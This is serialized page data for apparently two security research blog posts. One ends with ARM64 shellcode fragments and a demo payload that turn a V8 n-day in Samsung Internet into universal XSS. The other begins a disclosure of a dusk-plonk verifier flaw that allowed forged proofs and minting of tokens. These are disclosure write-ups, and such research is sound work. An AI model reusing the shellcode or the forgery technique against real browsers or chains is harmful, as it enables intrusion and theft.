length\n",{"type":23,"tag":75,"props":151959,"children":151960},{"class":77,"line":5227},[151961],{"type":23,"tag":75,"props":151962,"children":151963},{},[151964],{"type":29,"value":151965},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":75,"props":151967,"children":151968},{"class":77,"line":5259},[151969],{"type":23,"tag":75,"props":151970,"children":151971},{},[151972],{"type":29,"value":151973},"// call NewFromUTF8\n",{"type":23,"tag":75,"props":151975,"children":151976},{"class":77,"line":5315},[151977],{"type":23,"tag":75,"props":151978,"children":151979},{},[151980],{"type":29,"value":151981},"blr x10\n",{"type":23,"tag":75,"props":151983,"children":151984},{"class":77,"line":5328},[151985],{"type":23,"tag":75,"props":151986,"children":151987},{"emptyLinePlaceholder":15},[151988],{"type":29,"value":276},{"type":23,"tag":75,"props":151990,"children":151991},{"class":77,"line":5336},[151992],{"type":23,"tag":75,"props":151993,"children":151994},{},[151995],{"type":29,"value":151996},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":75,"props":151998,"children":151999},{"class":77,"line":5344},[152000],{"type":23,"tag":75,"props":152001,"children":152002},{},[152003],{"type":29,"value":152004},"mov x14, x0\n",{"type":23,"tag":75,"props":152006,"children":152007},{"class":77,"line":5352},[152008],{"type":23,"tag":75,"props":152009,"children":152010},{"emptyLinePlaceholder":15},[152011],{"type":29,"value":276},{"type":23,"tag":75,"props":152013,"children":152014},{"class":77,"line":5392},[152015],{"type":23,"tag":75,"props":152016,"children":152017},{},[152018],{"type":29,"value":152019},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":75,"props":152021,"children":152022},{"class":77,"line":5400},[152023],{"type":23,"tag":75,"props":152024,"children":152025},{},[152026],{"type":29,"value":152027},"movz x1, #0xe44c\n",{"type":23,"tag":75,"props":152029,"children":152030},{"class":77,"line":12616},[152031],{"type":23,"tag":75,"props":152032,"children":152033},{},[152034],{"type":29,"value":152035},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":75,"props":152037,"children":152038},{"class":77,"line":12624},[152039],{"type":23,"tag":75,"props":152040,"children":152041},{},[152042],{"type":29,"value":152043},"sub x9, x12, x1\n",{"type":23,"tag":75,"props":152045,"children":152046},{"class":77,"line":111912},[152047],{"type":23,"tag":75,"props":152048,"children":152049},{"emptyLinePlaceholder":15},[152050],{"type":29,"value":276},{"type":23,"tag":75,"props":152052,"children":152053},{"class":77,"line":111920},[152054],{"type":23,"tag":75,"props":152055,"children":152056},{},[152057],{"type":29,"value":152058},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":75,"props":152060,"children":152061},{"class":77,"line":111928},[152062],{"type":23,"tag":75,"props":152063,"children":152064},{},[152065],{"type":29,"value":151909},{"type":23,"tag":75,"props":152067,"children":152068},{"class":77,"line":111936},[152069],{"type":23,"tag":75,"props":152070,"children":152071},{},[152072],{"type":29,"value":151917},{"type":23,"tag":75,"props":152074,"children":152075},{"class":77,"line":111964},[152076],{"type":23,"tag":75,"props":152077,"children":152078},{},[152079],{"type":29,"value":152080},"// arg1 = String *source\n",{"type":23,"tag":75,"props":152082,"children":152083},{"class":77,"line":114735},[152084],{"type":23,"tag":75,"props":152085,"children":152086},{},[152087],{"type":29,"value":152088},"mov x1, x14\n",{"type":23,"tag":75,"props":152090,"children":152091},{"class":77,"line":114743},[152092],{"type":23,"tag":75,"props":152093,"children":152094},{},[152095],{"type":29,"value":152096},"// arg2 = mode = kDefault\n",{"type":23,"tag":75,"props":152098,"children":152100},{"class":77,"line":152099},69,[152101],{"type":23,"tag":75,"props":152102,"children":152103},{},[152104],{"type":29,"value":151949},{"type":23,"tag":75,"props":152106,"children":152108},{"class":77,"line":152107},70,[152109],{"type":23,"tag":75,"props":152110,"children":152111},{},[152112],{"type":29,"value":152113},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":75,"props":152115,"children":152117},{"class":77,"line":152116},71,[152118],{"type":23,"tag":75,"props":152119,"children":152120},{},[152121],{"type":29,"value":152122},"mov x3, #0\n",{"type":23,"tag":75,"props":152124,"children":152126},{"class":77,"line":152125},72,[152127],{"type":23,"tag":75,"props":152128,"children":152129},{"emptyLinePlaceholder":15},[152130],{"type":29,"value":276},{"type":23,"tag":75,"props":152132,"children":152134},{"class":77,"line":152133},73,[152135],{"type":23,"tag":75,"props":152136,"children":152137},{},[152138],{"type":29,"value":151635},{"type":23,"tag":923,"props":152140,"children":152142},{"id":152141},"uxss-demo",[152143],{"type":29,"value":152144},"UXSS Demo",{"type":23,"tag":32,"props":152146,"children":152147},{},[152148,152150,152156],{"type":29,"value":152149},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":71,"props":152151,"children":152153},{"className":152152},[],[152154],{"type":29,"value":152155},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":557},{"type":23,"tag":142193,"props":152158,"children":152161},{"className":152159,"controls":15},[152160],"blog-video-responsive",[152162,152164,152168],{"type":29,"value":152163},"\n  ",{"type":23,"tag":151399,"props":152165,"children":152167},{"src":152166,"type":142191},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":152169},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":24,"props":152171,"children":152172},{"id":14115},[152173],{"type":29,"value":14118},{"type":23,"tag":32,"props":152175,"children":152176},{},[152177],{"type":29,"value":152178},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":32,"props":152180,"children":152181},{},[152182],{"type":29,"value":152183},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":14130,"props":152185,"children":152186},{},[152187],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":152189},[152190,152194,152197,152207],{"id":26,"depth":100,"text":30,"children":152191},[152192,152193],{"id":142327,"depth":121,"text":142330},{"id":142410,"depth":121,"text":142413},{"id":142443,"depth":100,"text":142446,"children":152195},[152196],{"id":142584,"depth":121,"text":142438},{"id":142728,"depth":100,"text":142731,"children":152198},[152199,152200,152201,152202,152203,152204,152205,152206],{"id":142734,"depth":121,"text":142737},{"id":143191,"depth":121,"text":143194},{"id":143374,"depth":121,"text":143377},{"id":143485,"depth":121,"text":143488},{"id":143762,"depth":121,"text":143765},{"id":146472,"depth":121,"text":146475},{"id":149753,"depth":121,"text":149756},{"id":152141,"depth":121,"text":152144},{"id":14115,"depth":100,"text":14118},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":152212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":152213,"description":152214,"date":152215,"author":152216,"image":152217,"isFeatured":15,"onBlogPage":15,"tags":152219,"body":152222,"_type":14157,"_id":157486,"_source":14159,"_file":157487,"_stem":157488,"_extension":14162},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[118173,118174],{"src":152218,"width":107603,"height":14},"/posts/dusk-commitment-issues/title.png",[152220,152221],"dusk","plonk",{"type":20,"children":152223,"toc":157466},[152224,152230,152271,152283,152289,152303,152308,152314,152605,152609,152881,153111,153117,153802,153806,154301,154309,154315,154334,154339,154345,154570,154609,154620,154626,154637,155345,155350,155353,155359,155412,155447,155479,155484,155488,155491,155497,155508,155521,155552,155619,155627,155649,155662,156089,156112,156117,156120,156125,156152,156248,156259,156306,156344,156355,156693,156710,156718,156721,156727,156732,156766,156774,156855,156858,156864,156878,156896,156901,156941,156949,156970,156973,156979,156984,157049,157063,157066,157072,157112,157123,157128,157133,157139,157153,157234,157255,157282,157285,157291,157305,157310,157315,157320,157455,157461],{"type":23,"tag":46567,"props":152225,"children":152227},{"id":152226},"commitment-issues-unverified-evaluations-in-dusks-plonk",[152228],{"type":29,"value":152229},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":32,"props":152231,"children":152232},{},[152233,152235,152242,152244,152251,152253,152260,152262,152269],{"type":29,"value":152234},"We found a critical soundness vulnerability in ",{"type":23,"tag":940,"props":152236,"children":152239},{"href":152237,"rel":152238},"https://github.com/dusk-network/plonk/",[944],[152240],{"type":29,"value":152241},"dusk-plonk",{"type":29,"value":152243},", the PLONK implementation powering ",{"type":23,"tag":940,"props":152245,"children":152248},{"href":152246,"rel":152247},"https://dusk.network/",[944],[152249],{"type":29,"value":152250},"Dusk Network's",{"type":29,"value":152252}," ~$60M ",{"type":23,"tag":940,"props":152254,"children":152257},{"href":152255,"rel":152256},"https://www.coingecko.com/en/coins/dusk",[944],[152258],{"type":29,"value":152259},"market cap",{"type":29,"value":152261},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":940,"props":152263,"children":152266},{"href":152264,"rel":152265},"https://github.com/dusk-network/rusk",[944],[152267],{"type":29,"value":152268},"Rusk",{"type":29,"value":152270}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":32,"props":152272,"children":152273},{},[152274,152276,152281],{"type":29,"value":152275},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":16596,"props":152277,"children":152278},{},[152279],{"type":29,"value":152280},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":152282}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":24,"props":152284,"children":152286},{"id":152285},"how-plonk-works-briefly",[152287],{"type":29,"value":152288},"How PLONK works (briefly)",{"type":23,"tag":32,"props":152290,"children":152291},{},[152292,152294,152301],{"type":29,"value":152293},"For a rigorous treatment see the ",{"type":23,"tag":940,"props":152295,"children":152298},{"href":152296,"rel":152297},"https://eprint.iacr.org/2019/953",[944],[152299],{"type":29,"value":152300},"original paper",{"type":29,"value":152302},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":32,"props":152304,"children":152305},{},[152306],{"type":29,"value":152307},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":923,"props":152309,"children":152311},{"id":152310},"arithmetic-circuits-and-constraints",[152312],{"type":29,"value":152313},"Arithmetic circuits and constraints",{"type":23,"tag":32,"props":152315,"children":152316},{},[152317,152319,152368,152370,152519,152521,152604],{"type":29,"value":152318},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":71,"props":152320,"children":152322},{"className":152321},[15256,15257],[152323],{"type":23,"tag":75,"props":152324,"children":152326},{"className":152325},[15262],[152327],{"type":23,"tag":75,"props":152328,"children":152330},{"className":152329,"ariaHidden":15268},[15267],[152331],{"type":23,"tag":75,"props":152332,"children":152334},{"className":152333},[15273],[152335,152339,152344,152349,152354,152358,152363],{"type":23,"tag":75,"props":152336,"children":152338},{"className":152337,"style":15384},[15278],[],{"type":23,"tag":75,"props":152340,"children":152342},{"className":152341},[32932],[152343],{"type":29,"value":643},{"type":23,"tag":75,"props":152345,"children":152347},{"className":152346},[15284,32803],[152348],{"type":29,"value":30499},{"type":23,"tag":75,"props":152350,"children":152352},{"className":152351},[15395],[152353],{"type":29,"value":15398},{"type":23,"tag":75,"props":152355,"children":152357},{"className":152356,"style":15402},[15363],[],{"type":23,"tag":75,"props":152359,"children":152361},{"className":152360,"style":103868},[15284,32803],[152362],{"type":29,"value":14400},{"type":23,"tag":75,"props":152364,"children":152366},{"className":152365},[32954],[152367],{"type":29,"value":1347},{"type":29,"value":152369}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":71,"props":152371,"children":152373},{"className":152372},[15256,15257],[152374],{"type":23,"tag":75,"props":152375,"children":152377},{"className":152376},[15262],[152378],{"type":23,"tag":75,"props":152379,"children":152381},{"className":152380,"ariaHidden":15268},[15267],[152382,152444,152506],{"type":23,"tag":75,"props":152383,"children":152385},{"className":152384},[15273],[152386,152390,152431,152435,152440],{"type":23,"tag":75,"props":152387,"children":152389},{"className":152388,"style":133719},[15278],[],{"type":23,"tag":75,"props":152391,"children":152393},{"className":152392},[15284],[152394,152399],{"type":23,"tag":75,"props":152395,"children":152397},{"className":152396,"style":103868},[15284,32803],[152398],{"type":29,"value":14400},{"type":23,"tag":75,"props":152400,"children":152402},{"className":152401},[15299],[152403],{"type":23,"tag":75,"props":152404,"children":152406},{"className":152405},[15304],[152407],{"type":23,"tag":75,"props":152408,"children":152410},{"className":152409},[15309],[152411],{"type":23,"tag":75,"props":152412,"children":152414},{"className":152413,"style":15279},[15314],[152415],{"type":23,"tag":75,"props":152416,"children":152417},{"style":15318},[152418,152422],{"type":23,"tag":75,"props":152419,"children":152421},{"className":152420,"style":15324},[15323],[],{"type":23,"tag":75,"props":152423,"children":152425},{"className":152424},[15329,15330,15331,15332],[152426],{"type":23,"tag":75,"props":152427,"children":152429},{"className":152428},[15284,15332],[152430],{"type":29,"value":14409},{"type":23,"tag":75,"props":152432,"children":152434},{"className":152433,"style":15461},[15363],[],{"type":23,"tag":75,"props":152436,"children":152438},{"className":152437},[15466],[152439],{"type":29,"value":212},{"type":23,"tag":75,"props":152441,"children":152443},{"className":152442,"style":15461},[15363],[],{"type":23,"tag":75,"props":152445,"children":152447},{"className":152446},[15273],[152448,152452,152493,152497,152502],{"type":23,"tag":75,"props":152449,"children":152451},{"className":152450,"style":133594},[15278],[],{"type":23,"tag":75,"props":152453,"children":152455},{"className":152454},[15284],[152456,152461],{"type":23,"tag":75,"props":152457,"children":152459},{"className":152458},[15284,32803],[152460],{"type":29,"value":30499},{"type":23,"tag":75,"props":152462,"children":152464},{"className":152463},[15299],[152465],{"type":23,"tag":75,"props":152466,"children":152468},{"className":152467},[15304],[152469],{"type":23,"tag":75,"props":152470,"children":152472},{"className":152471},[15309],[152473],{"type":23,"tag":75,"props":152474,"children":152476},{"className":152475,"style":15279},[15314],[152477],{"type":23,"tag":75,"props":152478,"children":152479},{"style":15318},[152480,152484],{"type":23,"tag":75,"props":152481,"children":152483},{"className":152482,"style":15324},[15323],[],{"type":23,"tag":75,"props":152485,"children":152487},{"className":152486},[15329,15330,15331,15332],[152488],{"type":23,"tag":75,"props":152489,"children":152491},{"className":152490},[15284,15332],[152492],{"type":29,"value":28518},{"type":23,"tag":75,"props":152494,"children":152496},{"className":152495,"style":15364},[15363],[],{"type":23,"tag":75,"props":152498,"children":152500},{"className":152499},[15369],[152501],{"type":29,"value":7862},{"type":23,"tag":75,"props":152503,"children":152505},{"className":152504,"style":15364},[15363],[],{"type":23,"tag":75,"props":152507,"children":152509},{"className":152508},[15273],[152510,152514],{"type":23,"tag":75,"props":152511,"children":152513},{"className":152512,"style":104413},[15278],[],{"type":23,"tag":75,"props":152515,"children":152517},{"className":152516},[15284],[152518],{"type":29,"value":65855},{"type":29,"value":152520},", here in ",{"type":23,"tag":71,"props":152522,"children":152524},{"className":152523},[15256,15257],[152525],{"type":23,"tag":75,"props":152526,"children":152528},{"className":152527},[15262],[152529],{"type":23,"tag":75,"props":152530,"children":152532},{"className":152531,"ariaHidden":15268},[15267],[152533],{"type":23,"tag":75,"props":152534,"children":152536},{"className":152535},[15273],[152537,152542],{"type":23,"tag":75,"props":152538,"children":152541},{"className":152539,"style":152540},[15278],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":152543,"children":152545},{"className":152544},[15284],[152546,152551],{"type":23,"tag":75,"props":152547,"children":152549},{"className":152548},[15284,132157],[152550],{"type":29,"value":132160},{"type":23,"tag":75,"props":152552,"children":152554},{"className":152553},[15299],[152555],{"type":23,"tag":75,"props":152556,"children":152558},{"className":152557},[15304,32857],[152559,152593],{"type":23,"tag":75,"props":152560,"children":152562},{"className":152561},[15309],[152563,152588],{"type":23,"tag":75,"props":152564,"children":152566},{"className":152565,"style":103434},[15314],[152567],{"type":23,"tag":75,"props":152568,"children":152569},{"style":103438},[152570,152574],{"type":23,"tag":75,"props":152571,"children":152573},{"className":152572,"style":15324},[15323],[],{"type":23,"tag":75,"props":152575,"children":152577},{"className":152576},[15329,15330,15331,15332],[152578],{"type":23,"tag":75,"props":152579,"children":152581},{"className":152580},[15284,15332],[152582],{"type":23,"tag":75,"props":152583,"children":152585},{"className":152584},[15284,15332],[152586],{"type":29,"value":152587},"37",{"type":23,"tag":75,"props":152589,"children":152591},{"className":152590},[32960],[152592],{"type":29,"value":32963},{"type":23,"tag":75,"props":152594,"children":152596},{"className":152595},[15309],[152597],{"type":23,"tag":75,"props":152598,"children":152600},{"className":152599,"style":103465},[15314],[152601],{"type":23,"tag":75,"props":152602,"children":152603},{},[],{"type":29,"value":557},{"type":23,"tag":152606,"props":152607,"children":152608},"arithmetic-circuit-widget",{},[],{"type":23,"tag":32,"props":152610,"children":152611},{},[152612,152614,152640,152642,152721,152723,152800,152802,152879],{"type":29,"value":152613},"Each gate ",{"type":23,"tag":71,"props":152615,"children":152617},{"className":152616},[15256,15257],[152618],{"type":23,"tag":75,"props":152619,"children":152621},{"className":152620},[15262],[152622],{"type":23,"tag":75,"props":152623,"children":152625},{"className":152624,"ariaHidden":15268},[15267],[152626],{"type":23,"tag":75,"props":152627,"children":152629},{"className":152628},[15273],[152630,152635],{"type":23,"tag":75,"props":152631,"children":152634},{"className":152632,"style":152633},[15278],"height:0.6595em;",[],{"type":23,"tag":75,"props":152636,"children":152638},{"className":152637},[15284,32803],[152639],{"type":29,"value":12935},{"type":29,"value":152641}," has a left input ",{"type":23,"tag":71,"props":152643,"children":152645},{"className":152644},[15256,15257],[152646],{"type":23,"tag":75,"props":152647,"children":152649},{"className":152648},[15262],[152650],{"type":23,"tag":75,"props":152651,"children":152653},{"className":152652,"ariaHidden":15268},[15267],[152654],{"type":23,"tag":75,"props":152655,"children":152657},{"className":152656},[15273],[152658,152663],{"type":23,"tag":75,"props":152659,"children":152662},{"className":152660,"style":152661},[15278],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":152664,"children":152666},{"className":152665},[15284],[152667,152672],{"type":23,"tag":75,"props":152668,"children":152670},{"className":152669,"style":103394},[15284,32803],[152671],{"type":29,"value":103397},{"type":23,"tag":75,"props":152673,"children":152675},{"className":152674},[15299],[152676],{"type":23,"tag":75,"props":152677,"children":152679},{"className":152678},[15304,32857],[152680,152710],{"type":23,"tag":75,"props":152681,"children":152683},{"className":152682},[15309],[152684,152705],{"type":23,"tag":75,"props":152685,"children":152687},{"className":152686,"style":103911},[15314],[152688],{"type":23,"tag":75,"props":152689,"children":152691},{"style":152690},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[152692,152696],{"type":23,"tag":75,"props":152693,"children":152695},{"className":152694,"style":15324},[15323],[],{"type":23,"tag":75,"props":152697,"children":152699},{"className":152698},[15329,15330,15331,15332],[152700],{"type":23,"tag":75,"props":152701,"children":152703},{"className":152702},[15284,32803,15332],[152704],{"type":29,"value":12935},{"type":23,"tag":75,"props":152706,"children":152708},{"className":152707},[32960],[152709],{"type":29,"value":32963},{"type":23,"tag":75,"props":152711,"children":152713},{"className":152712},[15309],[152714],{"type":23,"tag":75,"props":152715,"children":152717},{"className":152716,"style":103465},[15314],[152718],{"type":23,"tag":75,"props":152719,"children":152720},{},[],{"type":29,"value":152722},", right input ",{"type":23,"tag":71,"props":152724,"children":152726},{"className":152725},[15256,15257],[152727],{"type":23,"tag":75,"props":152728,"children":152730},{"className":152729},[15262],[152731],{"type":23,"tag":75,"props":152732,"children":152734},{"className":152733,"ariaHidden":15268},[15267],[152735],{"type":23,"tag":75,"props":152736,"children":152738},{"className":152737},[15273],[152739,152743],{"type":23,"tag":75,"props":152740,"children":152742},{"className":152741,"style":120352},[15278],[],{"type":23,"tag":75,"props":152744,"children":152746},{"className":152745},[15284],[152747,152752],{"type":23,"tag":75,"props":152748,"children":152750},{"className":152749,"style":103382},[15284,32803],[152751],{"type":29,"value":104201},{"type":23,"tag":75,"props":152753,"children":152755},{"className":152754},[15299],[152756],{"type":23,"tag":75,"props":152757,"children":152759},{"className":152758},[15304,32857],[152760,152789],{"type":23,"tag":75,"props":152761,"children":152763},{"className":152762},[15309],[152764,152784],{"type":23,"tag":75,"props":152765,"children":152767},{"className":152766,"style":103911},[15314],[152768],{"type":23,"tag":75,"props":152769,"children":152770},{"style":120381},[152771,152775],{"type":23,"tag":75,"props":152772,"children":152774},{"className":152773,"style":15324},[15323],[],{"type":23,"tag":75,"props":152776,"children":152778},{"className":152777},[15329,15330,15331,15332],[152779],{"type":23,"tag":75,"props":152780,"children":152782},{"className":152781},[15284,32803,15332],[152783],{"type":29,"value":12935},{"type":23,"tag":75,"props":152785,"children":152787},{"className":152786},[32960],[152788],{"type":29,"value":32963},{"type":23,"tag":75,"props":152790,"children":152792},{"className":152791},[15309],[152793],{"type":23,"tag":75,"props":152794,"children":152796},{"className":152795,"style":103465},[15314],[152797],{"type":23,"tag":75,"props":152798,"children":152799},{},[],{"type":29,"value":152801},", and output ",{"type":23,"tag":71,"props":152803,"children":152805},{"className":152804},[15256,15257],[152806],{"type":23,"tag":75,"props":152807,"children":152809},{"className":152808},[15262],[152810],{"type":23,"tag":75,"props":152811,"children":152813},{"className":152812,"ariaHidden":15268},[15267],[152814],{"type":23,"tag":75,"props":152815,"children":152817},{"className":152816},[15273],[152818,152822],{"type":23,"tag":75,"props":152819,"children":152821},{"className":152820,"style":120352},[15278],[],{"type":23,"tag":75,"props":152823,"children":152825},{"className":152824},[15284],[152826,152831],{"type":23,"tag":75,"props":152827,"children":152829},{"className":152828},[15284,32803],[152830],{"type":29,"value":103352},{"type":23,"tag":75,"props":152832,"children":152834},{"className":152833},[15299],[152835],{"type":23,"tag":75,"props":152836,"children":152838},{"className":152837},[15304,32857],[152839,152868],{"type":23,"tag":75,"props":152840,"children":152842},{"className":152841},[15309],[152843,152863],{"type":23,"tag":75,"props":152844,"children":152846},{"className":152845,"style":103911},[15314],[152847],{"type":23,"tag":75,"props":152848,"children":152849},{"style":103438},[152850,152854],{"type":23,"tag":75,"props":152851,"children":152853},{"className":152852,"style":15324},[15323],[],{"type":23,"tag":75,"props":152855,"children":152857},{"className":152856},[15329,15330,15331,15332],[152858],{"type":23,"tag":75,"props":152859,"children":152861},{"className":152860},[15284,32803,15332],[152862],{"type":29,"value":12935},{"type":23,"tag":75,"props":152864,"children":152866},{"className":152865},[32960],[152867],{"type":29,"value":32963},{"type":23,"tag":75,"props":152869,"children":152871},{"className":152870},[15309],[152872],{"type":23,"tag":75,"props":152873,"children":152875},{"className":152874,"style":103465},[15314],[152876],{"type":23,"tag":75,"props":152877,"children":152878},{},[],{"type":29,"value":152880},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":32,"props":152882,"children":152883},{},[152884,152886,152891,152893,152997,152999,153102,153104,153109],{"type":29,"value":152885},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":9690,"props":152887,"children":152888},{},[152889],{"type":29,"value":152890},"selector",{"type":29,"value":152892}," values that act as switches: setting ",{"type":23,"tag":71,"props":152894,"children":152896},{"className":152895},[15256,15257],[152897],{"type":23,"tag":75,"props":152898,"children":152900},{"className":152899},[15262],[152901],{"type":23,"tag":75,"props":152902,"children":152904},{"className":152903,"ariaHidden":15268},[15267],[152905,152984],{"type":23,"tag":75,"props":152906,"children":152908},{"className":152907},[15273],[152909,152913,152971,152975,152980],{"type":23,"tag":75,"props":152910,"children":152912},{"className":152911,"style":120272},[15278],[],{"type":23,"tag":75,"props":152914,"children":152916},{"className":152915},[15284],[152917,152922],{"type":23,"tag":75,"props":152918,"children":152920},{"className":152919,"style":103868},[15284,32803],[152921],{"type":29,"value":103871},{"type":23,"tag":75,"props":152923,"children":152925},{"className":152924},[15299],[152926],{"type":23,"tag":75,"props":152927,"children":152929},{"className":152928},[15304,32857],[152930,152960],{"type":23,"tag":75,"props":152931,"children":152933},{"className":152932},[15309],[152934,152955],{"type":23,"tag":75,"props":152935,"children":152938},{"className":152936,"style":152937},[15314],"height:0.3283em;",[152939],{"type":23,"tag":75,"props":152940,"children":152941},{"style":103915},[152942,152946],{"type":23,"tag":75,"props":152943,"children":152945},{"className":152944,"style":15324},[15323],[],{"type":23,"tag":75,"props":152947,"children":152949},{"className":152948},[15329,15330,15331,15332],[152950],{"type":23,"tag":75,"props":152951,"children":152953},{"className":152952,"style":105390},[15284,32803,15332],[152954],{"type":29,"value":105393},{"type":23,"tag":75,"props":152956,"children":152958},{"className":152957},[32960],[152959],{"type":29,"value":32963},{"type":23,"tag":75,"props":152961,"children":152963},{"className":152962},[15309],[152964],{"type":23,"tag":75,"props":152965,"children":152967},{"className":152966,"style":103465},[15314],[152968],{"type":23,"tag":75,"props":152969,"children":152970},{},[],{"type":23,"tag":75,"props":152972,"children":152974},{"className":152973,"style":15461},[15363],[],{"type":23,"tag":75,"props":152976,"children":152978},{"className":152977},[15466],[152979],{"type":29,"value":212},{"type":23,"tag":75,"props":152981,"children":152983},{"className":152982,"style":15461},[15363],[],{"type":23,"tag":75,"props":152985,"children":152987},{"className":152986},[15273],[152988,152992],{"type":23,"tag":75,"props":152989,"children":152991},{"className":152990,"style":104413},[15278],[],{"type":23,"tag":75,"props":152993,"children":152995},{"className":152994},[15284],[152996],{"type":29,"value":7867},{"type":29,"value":152998}," makes a row a multiplication gate, setting ",{"type":23,"tag":71,"props":153000,"children":153002},{"className":153001},[15256,15257],[153003],{"type":23,"tag":75,"props":153004,"children":153006},{"className":153005},[15262],[153007],{"type":23,"tag":75,"props":153008,"children":153010},{"className":153009,"ariaHidden":15268},[15267],[153011,153089],{"type":23,"tag":75,"props":153012,"children":153014},{"className":153013},[15273],[153015,153019,153076,153080,153085],{"type":23,"tag":75,"props":153016,"children":153018},{"className":153017,"style":120272},[15278],[],{"type":23,"tag":75,"props":153020,"children":153022},{"className":153021},[15284],[153023,153028],{"type":23,"tag":75,"props":153024,"children":153026},{"className":153025,"style":103868},[15284,32803],[153027],{"type":29,"value":103871},{"type":23,"tag":75,"props":153029,"children":153031},{"className":153030},[15299],[153032],{"type":23,"tag":75,"props":153033,"children":153035},{"className":153034},[15304,32857],[153036,153065],{"type":23,"tag":75,"props":153037,"children":153039},{"className":153038},[15309],[153040,153060],{"type":23,"tag":75,"props":153041,"children":153043},{"className":153042,"style":152937},[15314],[153044],{"type":23,"tag":75,"props":153045,"children":153046},{"style":103915},[153047,153051],{"type":23,"tag":75,"props":153048,"children":153050},{"className":153049,"style":15324},[15323],[],{"type":23,"tag":75,"props":153052,"children":153054},{"className":153053},[15329,15330,15331,15332],[153055],{"type":23,"tag":75,"props":153056,"children":153058},{"className":153057},[15284,32803,15332],[153059],{"type":29,"value":128346},{"type":23,"tag":75,"props":153061,"children":153063},{"className":153062},[32960],[153064],{"type":29,"value":32963},{"type":23,"tag":75,"props":153066,"children":153068},{"className":153067},[15309],[153069],{"type":23,"tag":75,"props":153070,"children":153072},{"className":153071,"style":103465},[15314],[153073],{"type":23,"tag":75,"props":153074,"children":153075},{},[],{"type":23,"tag":75,"props":153077,"children":153079},{"className":153078,"style":15461},[15363],[],{"type":23,"tag":75,"props":153081,"children":153083},{"className":153082},[15466],[153084],{"type":29,"value":212},{"type":23,"tag":75,"props":153086,"children":153088},{"className":153087,"style":15461},[15363],[],{"type":23,"tag":75,"props":153090,"children":153092},{"className":153091},[15273],[153093,153097],{"type":23,"tag":75,"props":153094,"children":153096},{"className":153095,"style":104413},[15278],[],{"type":23,"tag":75,"props":153098,"children":153100},{"className":153099},[15284],[153101],{"type":29,"value":7867},{"type":29,"value":153103}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":9690,"props":153105,"children":153106},{},[153107],{"type":29,"value":153108},"permutation argument",{"type":29,"value":153110}," for that, which we will not cover here.",{"type":23,"tag":923,"props":153112,"children":153114},{"id":153113},"from-many-checks-to-one",[153115],{"type":29,"value":153116},"From many checks to one",{"type":23,"tag":32,"props":153118,"children":153119},{},[153120,153122,153127,153128,153220,153221,153313,153314,153406,153408,153413,153414,153506,153507,153599,153601,153626,153628,153653,153655,153747,153749,153774,153776,153801],{"type":29,"value":153121},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":9690,"props":153123,"children":153124},{},[153125],{"type":29,"value":153126},"witness 